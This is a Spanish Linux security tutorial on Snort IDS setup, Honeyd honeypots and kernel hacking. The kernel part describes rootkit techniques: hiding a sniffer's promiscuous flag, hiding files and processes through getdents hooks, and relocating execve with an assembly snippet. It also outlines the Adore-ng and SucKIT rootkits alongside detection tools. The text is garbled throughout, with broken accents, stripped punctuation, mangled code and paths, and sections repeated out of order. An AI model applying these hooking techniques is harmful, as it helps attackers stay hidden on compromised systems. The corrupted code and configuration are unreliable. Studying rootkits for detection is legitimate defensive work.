Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
